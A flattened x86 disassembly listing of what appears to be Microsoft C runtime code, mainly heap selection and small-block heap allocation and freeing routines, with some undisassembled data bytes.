sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 268056Eh cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26C055Ah test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2880000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4723A8E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 24721D8h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C0850238h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 call near ptr 2790000h nop mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 call near ptr 2830000h nop cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 27A0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 2890966h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 nop call near ptr 2790000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2890966h nop test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 